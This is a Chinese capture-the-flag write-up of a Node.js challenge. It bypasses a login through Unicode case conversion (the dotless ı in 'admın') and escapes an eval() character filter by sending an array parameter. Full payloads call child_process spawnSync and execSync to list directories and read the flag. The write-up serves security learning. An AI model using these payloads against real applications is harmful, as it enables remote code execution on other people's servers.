目录
此时我脑袋产生了几个问题:
但是尝试了几个弱密码发现不对,找一下有没有代码泄露的点。
咦发现ctrl+u查看的源码和f12显示的竟然不一样我丢,涨知识了。
js大小写有漏洞之前遇见过
<!--
if(req.body.username.toLowerCase() !== 'admin' && req.body.username.toUpperCase() === 'ADMIN' && req.body.passwd === 'admin123'){
// 登录成功,设置 session
}
-->
条件就是:
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
admın /admin123成功登录了进去
发现可以执行{{3*3}}首先环境js中的模板渲染,但是还差源码这个条件呀
看看源码,,,闲着无聊翻到了最下边,竟然在这里
let calc = req.body.calc;
let flag = false;
//waf
for (let i = 0; i < calc.length; i++) {
if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {
flag = true;
calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);
}
}
//截取
calc = calc.substring(0, 64);
//去空
calc = calc.replace(/\s+/g, "");
calc = calc.replace(/\\/g, "\\\\");
//小明的同学过滤了一些比较危险的东西
while (calc.indexOf("sh") > -1) {
calc = calc.replace("sh", "");
}
while (calc.indexOf("ln") > -1) {
calc = calc.replace("ln", "");
}
while (calc.indexOf("fs") > -1) {
calc = calc.replace("fs", "");
}
while (calc.indexOf("x") > -1) {
calc = calc.replace("x", "");
}
try {
result = eval(calc);
}
上面就是一个过滤字符sh ln fs x f lc , " (等,功能
然后关键点是最后eval(calc)会进行命令执行,
some()
方法会遍历由 split()
方法生成的字符数组中的所有元素
但是这里经过我自己的调试,发现只会遍历第一个元素
然后碰到数组3,.点发现是过滤字符这样,只会返回前面的三个值,这样就可以进行数组逃逸了
此时我脑袋产生了几个问题:
1、如何进行命令执行呢
2、为什么不直接写一个数组进行命令执行
3、所以如何产生calc呢
calc不能直接构造恶意参数呀,能的话数组也执行不了呀 ,所以我们就需要进入那里面,需要逃逸多少个字符就定义多少个数组元素。
calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
这里本来是想的是直接, spawnSync('cat',['/GFCTF...'])多个29个但是,可能是长度的问题不能这样
这里过滤了x,也无法直接利用exec,但是实际上这里是可以绕过的,因为我们通过require导入的模块是一个Object,那么就可以通过Object.values获取到child_process里面的各种方法,那么再通过数组下标[5]就可以得到execSync了,那么有了execSync后就可以通过写入文件的方式读取flag了,payload如下:
calc[]=Object.values(require('child_process'))[5]('cat${IFS}/G*>p')&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
程序将从标准输入读取数据 nl的作用